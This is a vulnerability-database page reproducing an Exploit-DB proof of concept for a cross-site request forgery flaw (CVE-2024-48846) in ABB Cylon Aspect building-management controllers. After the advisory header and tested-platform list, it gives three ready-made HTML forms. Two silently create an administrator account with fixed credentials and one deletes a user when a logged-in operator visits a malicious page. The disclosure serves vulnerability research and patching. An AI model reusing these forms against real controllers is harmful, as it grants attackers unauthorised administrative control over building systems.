ABB Cylon Aspect 3.08.02 - Cross-Site Request Forgery (CSRF)

🗓️ 16 Apr 2025 00:00:00Reported by LiquidWormType

exploitdb🔗 www.exploit-db.com👁 317 Views

ABB Cylon Aspect 3.08.02 susceptible to Cross-Site Request Forgery exploiting admin actions.

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2024-48846	5 Dec 202413:07	–	circl
CNNVD	ABB ASPECT 安全漏洞	5 Dec 202400:00	–	cnnvd
CVE	CVE-2024-48846	5 Dec 202412:43	–	cve
Cvelist	CVE-2024-48846 Cross Side Request Forgery, CSRF	5 Dec 202412:43	–	cvelist
EUVD	EUVD-2024-43165	3 Oct 202520:07	–	euvd
NCSC	Vulnerabilities fixed in ABB ASPECT, NEXUS Series and MATRIX Series	6 Dec 202411:49	–	ncsc
NVD	CVE-2024-48846	5 Dec 202413:15	–	nvd
OSV	CVE-2024-48846	5 Dec 202413:15	–	osv
Positive Technologies	PT-2024-9200 · Abb · Abb Aspect +2	5 Dec 202400:00	–	ptsecurity
RedhatCVE	CVE-2024-48846	4 Feb 202523:34	–	redhatcve

<html>
<!--

ABB Cylon Aspect 3.08.02 (userManagement.php) Cross-Site Request Forgery


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5870
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5870.php
CVE ID: CVE-2024-48846
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48846


21.04.2024

-->




                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 


  
// Add User/Admin
  <body>
    <form action="http://192.168.73.31/userManagement.php" method="POST">
      <input type="hidden" name="USER" value="zeroscience" />
      <input type="hidden" name="PASSWORD" value="ZSL251" />
      <input type="hidden" name="ACTION" value="Add" />
      <input type="submit" value="Make me a prince! (php)" />
    </form>
  </body>


// Add User/Admin
  <body>
    <form action="http://192.168.73.31:7226/servlet/UserManager" method="POST">
      <input type="hidden" name="newuser" value="test" />
      <input type="hidden" name="password" value="test123" />
      <input type="hidden" name="passwordConfirm" value="test123" />
      <input type="hidden" name="Insert" value="Add" />
      <input type="submit" value="Make me a prince! (java)" />
    </form>
  </body>


// Delete User/Admin
  <body>
    <form action="http://192.168.73.31:7226/servlet/UserManager" method="POST">
      <input type="hidden" name="user9" value="test" />
      <input type="hidden" name="remove9" value="1" />
      <input type="hidden" name="totalRows" value="9" />
      <input type="hidden" name="Delete" value="Delete" />
      <input type="submit" value="Destr0y" />
    </form>
  </body>

</html>

16 Apr 2025 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 3.17.1 - 7.3

CVSS 47.1

EPSS0.01544

SSVC